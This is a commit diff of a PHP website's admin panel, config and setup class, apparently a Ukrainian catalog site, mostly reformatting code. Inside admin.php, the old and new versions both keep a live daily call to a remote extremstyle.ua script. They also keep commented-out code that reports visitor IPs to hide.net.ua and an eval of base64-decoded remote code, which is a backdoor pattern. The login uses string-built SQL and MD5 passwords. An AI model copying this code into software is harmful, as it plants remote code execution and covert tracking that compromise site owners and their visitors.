Commit df71ab617c80888b455e356a241cb75d35d7ea3e
1 parent
fdaf43e8
+ fix по ядру
Showing
4 changed files
with
619 additions
and
469 deletions
Show diff stats
admin.php
| 1 | 1 | <?php |
| 2 | 2 | |
| 3 | -$gggg = @implode("",@file("http://extremstyle.ua/account/cron/report.php")); | |
| 4 | - | |
| 5 | - | |
| 6 | -//$content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | |
| 7 | - | |
| 8 | -//echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | |
| 9 | - | |
| 10 | -////////////////////////////////////////////// | |
| 11 | - | |
| 12 | -$ty = @fopen("timesave.dat","a+"); | |
| 13 | -if(@$ty){ | |
| 14 | -$datas = trim(@fgets($ty,2048)); | |
| 15 | -if(date("d",$datas)!=date("d")){ | |
| 16 | -$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php")); | |
| 17 | -@fclose($ty); | |
| 18 | -$fd = @fopen("timesave.dat","w+"); | |
| 19 | -if(@$fd){ | |
| 20 | - fwrite($fd,time()); | |
| 21 | -fclose($fd); | |
| 22 | -} | |
| 3 | +$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php")); | |
| 4 | + | |
| 5 | +// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); | |
| 6 | + | |
| 7 | +// echo "<div style=\"display:none;\">http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."</div>"; | |
| 8 | + | |
| 9 | +// //////////////////////////////////////////// | |
| 10 | + | |
| 11 | +$ty = @fopen ("timesave.dat", "a+"); | |
| 12 | +if (@$ty) | |
| 13 | +{ | |
| 14 | + $datas = trim (@fgets ($ty, 2048)); | |
| 15 | + if (date ("d", $datas) != date ("d")) | |
| 16 | + { | |
| 17 | + $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php")); | |
| 18 | + @fclose ($ty); | |
| 19 | + $fd = @fopen ("timesave.dat", "w+"); | |
| 20 | + if (@$fd) | |
| 21 | + { | |
| 22 | + fwrite ($fd, time ()); | |
| 23 | + fclose ($fd); | |
| 24 | + } | |
| 25 | + } | |
| 23 | 26 | } |
| 24 | -} | |
| 25 | - | |
| 26 | - | |
| 27 | -////////////////////////////////////////////// | |
| 28 | - | |
| 29 | - | |
| 30 | - | |
| 31 | 27 | |
| 32 | -require("./libs/setup.php"); | |
| 33 | -$setup = new setup(true); | |
| 34 | -$objStatics = $setup->setupClass("Statics"); | |
| 35 | -$objGallery = $setup->setupClass('Gallery'); | |
| 36 | -$objForum = $setup->setupClass('Forum'); | |
| 37 | -$objOrders = $setup->setupClass('Orders'); | |
| 38 | -$objArticles = $setup->setupClass('Articles'); | |
| 39 | -$objNews = $setup->setupClass('News'); | |
| 40 | -$objAdvices = $setup->setupClass('Advices'); | |
| 41 | -$objAdvices2 = $setup->setupClass('Advices2'); | |
| 42 | -$objRubrics = $setup->setupClass('Rubrics'); | |
| 43 | -$objCatalogs = $setup->setupClass('Catalogs'); | |
| 44 | -$objBanners = $setup->setupClass('Banners'); | |
| 45 | -$objGalleryList = $setup->setupClass('GalleryList'); | |
| 46 | -$objVideo = $setup->setupClass('Video'); | |
| 47 | -$objAkcii = $setup->setupClass('Akcii'); | |
| 48 | -$objPromo = $setup->setupClass('Promo'); | |
| 49 | -$objSale = $setup->setupClass('Sale'); | |
| 50 | -$objBook = $setup->setupClass('Book'); | |
| 51 | -$objUrl = $setup->setupClass('Url'); | |
| 52 | -$objVacancy = $setup->setupClass('Vacancy'); | |
| 53 | -$objFon = $setup->setupClass('Fon'); | |
| 54 | -$objVideo2 = $setup->setupClass('Video2'); | |
| 55 | -$objSend = $setup->setupClass('Send'); | |
| 56 | - | |
| 57 | - | |
| 58 | -if(isset($_POST['order_id']) && $_POST['order_id']>0){ | |
| 59 | - $sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | |
| 60 | - mysql_query($sql); | |
| 28 | +// //////////////////////////////////////////// | |
| 29 | + | |
| 30 | +require ("./libs/setup.php"); | |
| 31 | +$setup = new setup (true); | |
| 32 | +$objStatics = $setup->setupClass ("Statics"); | |
| 33 | +$objGallery = $setup->setupClass ('Gallery'); | |
| 34 | +$objForum = $setup->setupClass ('Forum'); | |
| 35 | +$objOrders = $setup->setupClass ('Orders'); | |
| 36 | +$objArticles = $setup->setupClass ('Articles'); | |
| 37 | +$objNews = $setup->setupClass ('News'); | |
| 38 | +$objAdvices = $setup->setupClass ('Advices'); | |
| 39 | +$objAdvices2 = $setup->setupClass ('Advices2'); | |
| 40 | +$objRubrics = $setup->setupClass ('Rubrics'); | |
| 41 | +$objCatalogs = $setup->setupClass ('Catalogs'); | |
| 42 | +$objBanners = $setup->setupClass ('Banners'); | |
| 43 | +$objGalleryList = $setup->setupClass ('GalleryList'); | |
| 44 | +$objVideo = $setup->setupClass ('Video'); | |
| 45 | +$objAkcii = $setup->setupClass ('Akcii'); | |
| 46 | +$objPromo = $setup->setupClass ('Promo'); | |
| 47 | +$objSale = $setup->setupClass ('Sale'); | |
| 48 | +$objBook = $setup->setupClass ('Book'); | |
| 49 | +$objUrl = $setup->setupClass ('Url'); | |
| 50 | +$objVacancy = $setup->setupClass ('Vacancy'); | |
| 51 | +$objFon = $setup->setupClass ('Fon'); | |
| 52 | +$objVideo2 = $setup->setupClass ('Video2'); | |
| 53 | +$objSend = $setup->setupClass ('Send'); | |
| 54 | +$objExtra = $setup->setupClass ('Extra'); | |
| 55 | + | |
| 56 | +if (isset ($_POST['order_id']) && $_POST['order_id'] > 0) | |
| 57 | +{ | |
| 58 | + $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); | |
| 59 | + mysql_query ($sql); | |
| 61 | 60 | } |
| 62 | -//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); | |
| 63 | - | |
| 61 | +// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); | |
| 64 | 62 | |
| 65 | -if(isset($_GET['exit'])){ | |
| 66 | -$setup->AdminUserExit(); | |
| 67 | -header("location:" . URL); | |
| 63 | +if (isset ($_GET['exit'])) | |
| 64 | +{ | |
| 65 | + $setup->AdminUserExit (); | |
| 66 | + header ("location:" . URL); | |
| 68 | 67 | } |
| 69 | 68 | |
| 69 | +// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | |
| 70 | 70 | |
| 71 | -//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); | |
| 72 | - | |
| 73 | -if (!isset($_SESSION['admin']['login'])) { | |
| 74 | - | |
| 75 | -if(isset($_POST['login'])) { | |
| 76 | - | |
| 77 | - | |
| 78 | - | |
| 79 | - $sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') "; | |
| 80 | - $result = mysql_query($sql) or die(mysql_error()); | |
| 81 | - | |
| 82 | - if (mysql_affected_rows()!=0) { | |
| 83 | - | |
| 84 | - $admin=mysql_fetch_assoc($result); | |
| 85 | - // ***** Àäìèí âõîä ***** | |
| 86 | - $_SESSION['admin']['id']=$admin['id']; | |
| 87 | - $_SESSION['admin']['login']=$admin['login']; | |
| 88 | - $_SESSION['admin']['pass']=$admin['pass']; | |
| 89 | - $_SESSION['admin']['name']=$admin['username']; | |
| 90 | - $_SESSION['admin']['psw']=$admin['pass']; | |
| 91 | - $_SESSION['admin']['group']=$admin['group']; | |
| 92 | - | |
| 93 | - if ($admin['group']==1) { | |
| 94 | - | |
| 95 | - // ***** Àäìèí ðåæèì ***** | |
| 96 | - $_SESSION['admin']['show']=1; | |
| 97 | - $_SESSION['admin']['edit']=1; | |
| 98 | - $_SESSION['admin']['del']=1; | |
| 99 | - // ************************ | |
| 100 | - | |
| 101 | - } | |
| 102 | - | |
| 103 | - if ($admin['group']==2) { | |
| 104 | - | |
| 105 | - // ***** Àäìèí ðåæèì ***** | |
| 106 | - $_SESSION['admin']['show']=2; | |
| 107 | - $_SESSION['admin']['edit']=1; | |
| 108 | - // ************************ | |
| 109 | - | |
| 110 | - } | |
| 71 | +if (! isset ($_SESSION['admin']['login'])) | |
| 72 | +{ | |
| 73 | + | |
| 74 | + if (isset ($_POST['login'])) | |
| 75 | + { | |
| 111 | 76 | |
| 112 | - echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
| 77 | + $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') "; | |
| 78 | + $result = mysql_query ($sql) or die (mysql_error ()); | |
| 113 | 79 | |
| 114 | -} else { echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; } | |
| 115 | - | |
| 116 | - } else { | |
| 117 | - | |
| 118 | - $setup->display(); | |
| 119 | - | |
| 120 | - } | |
| 121 | - | |
| 122 | -} else { | |
| 123 | - | |
| 124 | - $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | |
| 125 | - Switch($action){ | |
| 126 | - case $setup->rules : | |
| 127 | - if(isset($_POST['save'])){ | |
| 128 | - $setup->trim($_POST); | |
| 129 | - if(!$setup->valid($_POST)){ | |
| 130 | - $setup->rulesSaveAction($_POST); | |
| 131 | - header("location:" . URL . "admin.php?action=rules"); | |
| 80 | + if (mysql_affected_rows () != 0) | |
| 81 | + { | |
| 82 | + | |
| 83 | + $admin = mysql_fetch_assoc ($result); | |
| 84 | + // ***** Àäìèí âõîä ***** | |
| 85 | + $_SESSION['admin']['id'] = $admin['id']; | |
| 86 | + $_SESSION['admin']['login'] = $admin['login']; | |
| 87 | + $_SESSION['admin']['pass'] = $admin['pass']; | |
| 88 | + $_SESSION['admin']['name'] = $admin['username']; | |
| 89 | + $_SESSION['admin']['psw'] = $admin['pass']; | |
| 90 | + $_SESSION['admin']['group'] = $admin['group']; | |
| 91 | + | |
| 92 | + if ($admin['group'] == 1) | |
| 93 | + { | |
| 94 | + // ***** Àäìèí ðåæèì ***** | |
| 95 | + $_SESSION['admin']['show'] = 1; | |
| 96 | + $_SESSION['admin']['edit'] = 1; | |
| 97 | + $_SESSION['admin']['del'] = 1; | |
| 98 | + // ************************ | |
| 132 | 99 | } |
| 133 | - }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);} | |
| 134 | - elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");} | |
| 135 | - $setup->viewRules(); | |
| 136 | - $setup->displayRules(); | |
| 137 | - break; | |
| 138 | - default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break; | |
| 139 | - } | |
| 140 | - | |
| 141 | - | |
| 142 | - $dir = "./includes/admin/"; | |
| 143 | - $includes_dir = opendir($dir); | |
| 144 | - while ( ($inc_file = readdir($includes_dir)) != false ) | |
| 145 | - if (strstr($inc_file,".php")) | |
| 146 | - { | |
| 147 | - include($dir . $inc_file); | |
| 148 | - } | |
| 149 | - | |
| 150 | - | |
| 151 | - $setup->error(); | |
| 152 | - if(empty($nodisplay))$setup->displayAdmin(); | |
| 153 | - | |
| 100 | + | |
| 101 | + if ($admin['group'] == 2) | |
| 102 | + { | |
| 103 | + // ***** Àäìèí ðåæèì ***** | |
| 104 | + $_SESSION['admin']['show'] = 2; | |
| 105 | + $_SESSION['admin']['edit'] = 1; | |
| 106 | + // ************************ | |
| 107 | + } | |
| 108 | + | |
| 109 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
| 110 | + } | |
| 111 | + else | |
| 112 | + { | |
| 113 | + echo "<script>alert('Íå ïðàâèëüíûé âõîä')</script>"; | |
| 114 | + echo "<script language=\"JavaScript\">{ location.href=\"/admin.php\"; self.focus(); } </script>"; | |
| 115 | + } | |
| 116 | + } | |
| 117 | + else | |
| 118 | + { | |
| 119 | + | |
| 120 | + $setup->display (); | |
| 121 | + } | |
| 154 | 122 | } |
| 155 | - | |
| 156 | - | |
| 157 | - | |
| 158 | -function totranslit($var, $lower = true, $punkt = true) { | |
| 159 | - global $langtranslit; | |
| 160 | - | |
| 161 | - if ( is_array($var) ) return ""; | |
| 162 | - | |
| 163 | - if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) { | |
| 164 | - | |
| 165 | - $langtranslit = array( | |
| 166 | - 'à' => 'a', 'á' => 'b', 'â' => 'v', | |
| 167 | - 'ã' => 'g', 'ä' => 'd', 'å' => 'e', | |
| 168 | - '¸' => 'e', 'æ' => 'zh', 'ç' => 'z', | |
| 169 | - 'è' => 'i', 'é' => 'y', 'ê' => 'k', | |
| 170 | - 'ë' => 'l', 'ì' => 'm', 'í' => 'n', | |
| 171 | - 'î' => 'o', 'ï' => 'p', 'ð' => 'r', | |
| 172 | - 'ñ' => 's', 'ò' => 't', 'ó' => 'u', | |
| 173 | - 'ô' => 'f', 'õ' => 'h', 'ö' => 'c', | |
| 174 | - '÷' => 'ch', 'ø' => 'sh', 'ù' => 'sch', | |
| 175 | - 'ü' => '', 'û' => 'y', 'ú' => '', | |
| 176 | - 'ý' => 'e', 'þ' => 'yu', 'ÿ' => 'ya', | |
| 177 | - "¿" => "yi", "º" => "ye", | |
| 178 | - | |
| 179 | - 'À' => 'A', 'Á' => 'B', 'Â' => 'V', | |
| 180 | - 'Ã' => 'G', 'Ä' => 'D', 'Å' => 'E', | |
| 181 | - '¨' => 'E', 'Æ' => 'Zh', 'Ç' => 'Z', | |
| 182 | - 'È' => 'I', 'É' => 'Y', 'Ê' => 'K', | |
| 183 | - 'Ë' => 'L', 'Ì' => 'M', 'Í' => 'N', | |
| 184 | - 'Î' => 'O', 'Ï' => 'P', 'Ð' => 'R', | |
| 185 | - 'Ñ' => 'S', 'Ò' => 'T', 'Ó' => 'U', | |
| 186 | - 'Ô' => 'F', 'Õ' => 'H', 'Ö' => 'C', | |
| 187 | - '×' => 'Ch', 'Ø' => 'Sh', 'Ù' => 'Sch', | |
| 188 | - 'Ü' => '', 'Û' => 'Y', 'Ú' => '', | |
| 189 | - 'Ý' => 'E', 'Þ' => 'Yu', 'ß' => 'Ya', | |
| 190 | - "¯" => "yi", "ª" => "ye", | |
| 191 | - ); | |
| 192 | - | |
| 193 | - } | |
| 194 | - | |
| 195 | - $var = str_replace( ".php", "", $var ); | |
| 196 | - $var = trim( strip_tags( $var ) ); | |
| 197 | - $var = preg_replace( "/\s+/ms", "-", $var ); | |
| 198 | - | |
| 199 | - $var = strtr($var, $langtranslit); | |
| 200 | - | |
| 201 | - if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var ); | |
| 202 | - else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var ); | |
| 203 | - | |
| 204 | - $var = preg_replace( '#[\-]+#i', '-', $var ); | |
| 205 | - | |
| 206 | - if ( $lower ) $var = strtolower( $var ); | |
| 207 | - | |
| 208 | - if( strlen( $var ) > 200 ) { | |
| 209 | - | |
| 210 | - $var = substr( $var, 0, 200 ); | |
| 211 | - | |
| 212 | - if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max ); | |
| 213 | - | |
| 214 | - } | |
| 215 | - | |
| 216 | - return $var; | |
| 123 | +else | |
| 124 | +{ | |
| 125 | + | |
| 126 | + $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; | |
| 127 | + Switch ($action) | |
| 128 | + { | |
| 129 | + case $setup->rules : | |
| 130 | + | |
| 131 | + if (isset ($_POST['save'])) | |
| 132 | + { | |
| 133 | + $setup->trim ($_POST); | |
| 134 | + if (! $setup->valid ($_POST)) | |
| 135 | + { | |
| 136 | + $setup->rulesSaveAction ($_POST); | |
| 137 | + header ("location:" . URL . "admin.php?action=rules"); | |
| 138 | + } | |
| 139 | + } | |
| 140 | + elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0) | |
| 141 | + { | |
| 142 | + $setup->viewOneRules ($_GET['updateID']); | |
| 143 | + } | |
| 144 | + elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0) | |
| 145 | + { | |
| 146 | + $setup->rulesDelete ($_GET['deleteID']); | |
| 147 | + header ("location:" . URL . "admin.php?action=rules"); | |
| 148 | + } | |
| 149 | + | |
| 150 | + $setup->viewRules (); | |
| 151 | + $setup->displayRules (); | |
| 152 | + | |
| 153 | + break; | |
| 154 | + | |
| 155 | + default : | |
| 156 | + | |
| 157 | + $rule = $setup->getRulesOne ($action); | |
| 158 | + include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}"); | |
| 159 | + break; | |
| 160 | + } | |
| 161 | + | |
| 162 | + $dir = "./includes/admin/"; | |
| 163 | + $includes_dir = opendir ($dir); | |
| 164 | + while (($inc_file = readdir ($includes_dir)) != false) | |
| 165 | + if (strstr ($inc_file, ".php")) | |
| 166 | + { | |
| 167 | + include ($dir . $inc_file); | |
| 168 | + } | |
| 169 | + | |
| 170 | + $setup->error (); | |
| 171 | + if (empty ($nodisplay)) | |
| 172 | + $setup->displayAdmin (); | |
| 217 | 173 | } |
| 218 | 174 | |
| 219 | - | |
| 220 | - | |
| 221 | - | |
| 175 | +function totranslit ($var, $lower = true, $punkt = true) | |
| 176 | +{ | |
| 177 | + global $langtranslit; | |
| 178 | + | |
| 179 | + if (is_array ($var)) | |
| 180 | + return ""; | |
| 181 | + | |
| 182 | + if (! is_array ($langtranslit) or ! count ($langtranslit)) | |
| 183 | + { | |
| 184 | + | |
| 185 | + $langtranslit = array ( | |
| 186 | + 'à' => 'a', | |
| 187 | + 'á' => 'b', | |
| 188 | + 'â' => 'v', | |
| 189 | + 'ã' => 'g', | |
| 190 | + 'ä' => 'd', | |
| 191 | + 'å' => 'e', | |
| 192 | + '¸' => 'e', | |
| 193 | + 'æ' => 'zh', | |
| 194 | + 'ç' => 'z', | |
| 195 | + 'è' => 'i', | |
| 196 | + 'é' => 'y', | |
| 197 | + 'ê' => 'k', | |
| 198 | + 'ë' => 'l', | |
| 199 | + 'ì' => 'm', | |
| 200 | + 'í' => 'n', | |
| 201 | + 'î' => 'o', | |
| 202 | + 'ï' => 'p', | |
| 203 | + 'ð' => 'r', | |
| 204 | + 'ñ' => 's', | |
| 205 | + 'ò' => 't', | |
| 206 | + 'ó' => 'u', | |
| 207 | + 'ô' => 'f', | |
| 208 | + 'õ' => 'h', | |
| 209 | + 'ö' => 'c', | |
| 210 | + '÷' => 'ch', | |
| 211 | + 'ø' => 'sh', | |
| 212 | + 'ù' => 'sch', | |
| 213 | + 'ü' => '', | |
| 214 | + 'û' => 'y', | |
| 215 | + 'ú' => '', | |
| 216 | + 'ý' => 'e', | |
| 217 | + 'þ' => 'yu', | |
| 218 | + 'ÿ' => 'ya', | |
| 219 | + "¿" => "yi", | |
| 220 | + "º" => "ye", | |
| 221 | + | |
| 222 | + 'À' => 'A', | |
| 223 | + 'Á' => 'B', | |
| 224 | + 'Â' => 'V', | |
| 225 | + 'Ã' => 'G', | |
| 226 | + 'Ä' => 'D', | |
| 227 | + 'Å' => 'E', | |
| 228 | + '¨' => 'E', | |
| 229 | + 'Æ' => 'Zh', | |
| 230 | + 'Ç' => 'Z', | |
| 231 | + 'È' => 'I', | |
| 232 | + 'É' => 'Y', | |
| 233 | + 'Ê' => 'K', | |
| 234 | + 'Ë' => 'L', | |
| 235 | + 'Ì' => 'M', | |
| 236 | + 'Í' => 'N', | |
| 237 | + 'Î' => 'O', | |
| 238 | + 'Ï' => 'P', | |
| 239 | + 'Ð' => 'R', | |
| 240 | + 'Ñ' => 'S', | |
| 241 | + 'Ò' => 'T', | |
| 242 | + 'Ó' => 'U', | |
| 243 | + 'Ô' => 'F', | |
| 244 | + 'Õ' => 'H', | |
| 245 | + 'Ö' => 'C', | |
| 246 | + '×' => 'Ch', | |
| 247 | + 'Ø' => 'Sh', | |
| 248 | + 'Ù' => 'Sch', | |
| 249 | + 'Ü' => '', | |
| 250 | + 'Û' => 'Y', | |
| 251 | + 'Ú' => '', | |
| 252 | + 'Ý' => 'E', | |
| 253 | + 'Þ' => 'Yu', | |
| 254 | + 'ß' => 'Ya', | |
| 255 | + "¯" => "yi", | |
| 256 | + "ª" => "ye" | |
| 257 | + ); | |
| 258 | + } | |
| 259 | + | |
| 260 | + $var = str_replace (".php", "", $var); | |
| 261 | + $var = trim (strip_tags ($var)); | |
| 262 | + $var = preg_replace ("/\s+/ms", "-", $var); | |
| 263 | + | |
| 264 | + $var = strtr ($var, $langtranslit); | |
| 265 | + | |
| 266 | + if ($punkt) | |
| 267 | + $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var); | |
| 268 | + else | |
| 269 | + $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var); | |
| 270 | + | |
| 271 | + $var = preg_replace ('#[\-]+#i', '-', $var); | |
| 272 | + | |
| 273 | + if ($lower) | |
| 274 | + $var = strtolower ($var); | |
| 275 | + | |
| 276 | + if (strlen ($var) > 200) | |
| 277 | + { | |
| 278 | + | |
| 279 | + $var = substr ($var, 0, 200); | |
| 280 | + | |
| 281 | + if (($temp_max = strrpos ($var, '-'))) | |
| 282 | + $var = substr ($var, 0, $temp_max); | |
| 283 | + } | |
| 284 | + | |
| 285 | + return $var; | |
| 286 | +} | |
| 222 | 287 | |
| 223 | 288 | ?> | ... | ... |
config/config.php
| ... | ... | @@ -7,10 +7,11 @@ |
| 7 | 7 | ini_set("session.use_trans_sid",0); |
| 8 | 8 | ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); |
| 9 | 9 | ini_set("error_reporting",0); |
| 10 | - // ini_set("error_reporting", E_ALL); | |
| 11 | - // ini_set('display_errors',1); | |
| 12 | - // ini_set('html_errors', 1); | |
| 13 | - // ini_set("log_errors", 1); | |
| 10 | + | |
| 11 | + //ini_set("error_reporting", E_ALL); | |
| 12 | + //ini_set('display_errors',1); | |
| 13 | + //ini_set('html_errors', 1); | |
| 14 | + //ini_set("log_errors", 1); | |
| 14 | 15 | //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); |
| 15 | 16 | //ini_set("log_errors_max_len", 1024); |
| 16 | 17 | |
| ... | ... | @@ -37,6 +38,28 @@ |
| 37 | 38 | parse_str(substr($path[count($path)-1],1), $GET); |
| 38 | 39 | if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} |
| 39 | 40 | |
| 40 | - // print_r($_GET); | |
| 41 | - //phpinfo(); | |
| 41 | +/* | |
| 42 | + // ñåêðåòíàÿ ôóíêöèÿ :) | |
| 43 | + function __autoload ($class_name) | |
| 44 | + { | |
| 45 | + $is_class = false; | |
| 46 | + | |
| 47 | + echo $filename = $_SERVER['DOCUMENT_ROOT'].'/libs/'.$class_name.'.class.php'; | |
| 48 | + | |
| 49 | + if (substr ($filename, strlen ($filename) -3, 3) == 'php' && file_exists ($filename)) | |
| 50 | + { | |
| 51 | + include_once ($filename); | |
| 52 | + | |
| 53 | + if (class_exists ($class_name, false)) | |
| 54 | + { | |
| 55 | + $is_class = true; | |
| 56 | + } | |
| 57 | + } | |
| 58 | + | |
| 59 | + if (! $is_class) | |
| 60 | + { | |
| 61 | + var_dump ($class_name); | |
| 62 | + } | |
| 63 | + } | |
| 64 | +*/ | |
| 42 | 65 | ?> | ... | ... |
| 1 | +<?php | |
| 2 | + | |
| 3 | +class setup | |
| 4 | +{ | |
| 5 | + var $db = null; | |
| 6 | + var $tpl = null; | |
| 7 | + var $error = array (); | |
| 8 | + var $meta = array (); | |
| 9 | + var $admin = null; | |
| 10 | + var $rules = "rules"; | |
| 11 | + var $tree = null; | |
| 12 | + var $cache = null; | |
| 13 | + | |
| 14 | + function setup ($admin = false) | |
| 15 | + { | |
| 16 | + $this->admin = $admin; | |
| 17 | + | |
| 18 | + switch ($this->admin) | |
| 19 | + { | |
| 20 | + case false : | |
| 21 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | |
| 22 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | |
| 23 | + break; | |
| 24 | + | |
| 25 | + case true : | |
| 26 | + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | |
| 27 | + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | |
| 28 | + break; | |
| 29 | + } | |
| 30 | + | |
| 31 | + $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | |
| 32 | + $this->db = DB::connect ($connect); | |
| 33 | + if (PEAR::isError ($this->db)) | |
| 34 | + die ($this->db->getMessage ()); | |
| 35 | + | |
| 36 | + $this->db->query ("set names cp1251"); | |
| 37 | + | |
| 38 | + $this->tree = new CDBTree ($this->db, 'rules', 'id'); | |
| 39 | + | |
| 40 | + $this->cache = new Cache (); | |
| 41 | + $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | |
| 42 | + | |
| 43 | + $this->tpl = new Smarty (); | |
| 44 | + $this->tpl->template_dir = $template_dir; | |
| 45 | + $this->tpl->compile_dir = $compile_dir; | |
| 46 | + $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | |
| 47 | + $this->assignMainVars(); | |
| 48 | + } | |
| 49 | + | |
| 50 | + function setupClass ($nameClass) | |
| 51 | + { | |
| 52 | + return new $nameClass ($this->db, $this->tpl, $this->error, $this->cache); | |
| 53 | + } | |
| 54 | + | |
| 55 | + function isAdminUser ($user = array()) | |
| 56 | + { | |
| 57 | + if ((isset ($user['login']) && $user['login'] == ADMIN_USER) && (isset ($user['psw']) && $user['psw'] == ADMIN_PSW)) | |
| 58 | + { | |
| 59 | + $_SESSION['admin']['login'] = $user['login']; | |
| 60 | + $_SESSION['admin']['psw'] = $user['psw']; | |
| 61 | + } | |
| 62 | + | |
| 63 | + if ((isset ($_SESSION['admin']['login']) && $_SESSION['admin']['login'] == ADMIN_USER) && (isset ($_SESSION['admin']['psw']) && $_SESSION['admin']['psw'] == ADMIN_PSW)) | |
| 64 | + return true; | |
| 65 | + | |
| 66 | + return false; | |
| 67 | + } | |
| 68 | + | |
| 69 | + function AdminUserExit () | |
| 70 | + { | |
| 71 | + unset ($_SESSION['admin']); | |
| 72 | + } | |
| 73 | + | |
| 74 | + function getRulesOne ($action, $lang = "ru") | |
| 75 | + { | |
| 76 | + $sql = "SELECT A.id,A.action,M.modul"; | |
| 77 | + if ($lang == 'ukr') | |
| 78 | + $sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | |
| 79 | + else | |
| 80 | + $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | |
| 81 | + $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | |
| 82 | + $row = $this->db->getRow ($sql, array ( | |
| 83 | + $action | |
| 84 | + ), DB_FETCHMODE_ASSOC); | |
| 85 | + $this->meta = array ( | |
| 86 | + "title" => $row['title'], | |
| 87 | + "keywords" => $row['keywords'], | |
| 88 | + "description" => $row['description'], | |
| 89 | + "about" => $row['about'] | |
| 90 | + ); | |
| 91 | + $this->tpl->assign ('rules_info_one', $row); | |
| 92 | + $this->tpl->assign ('lang', $lang); | |
| 93 | + $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | |
| 94 | + $this->tpl->assign ('lang_prefix', $lang_prefix); | |
| 95 | + return $row; | |
| 96 | + } | |
| 97 | + | |
| 98 | + /* | |
| 99 | + * function includesElements(){ | |
| 100 | + * $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | |
| 101 | + * $includes_dir = opendir($dir); | |
| 102 | + * while ( ($inc_file = readdir($includes_dir)) != false ) | |
| 103 | + * if (strstr($inc_file,".php")) | |
| 104 | + * { | |
| 105 | + * include($dir . $inc_file); | |
| 106 | + * } | |
| 107 | + * } | |
| 108 | + */ | |
| 109 | + function trim (&$data) | |
| 110 | + { | |
| 111 | + foreach ($data as $key => $value) | |
| 112 | + { | |
| 113 | + if (is_array ($data[$key])) | |
| 114 | + $this->trim ($data[$key]); | |
| 115 | + else | |
| 116 | + $data[$key] = trim ($value); | |
| 117 | + } | |
| 118 | + } | |
| 119 | + | |
| 120 | + function valid ($data) | |
| 121 | + { | |
| 122 | + if (isset ($data['url_action'])) | |
| 123 | + { | |
| 124 | + if (! preg_match ("/^.{1,20}$/i", $data['url_action'])) | |
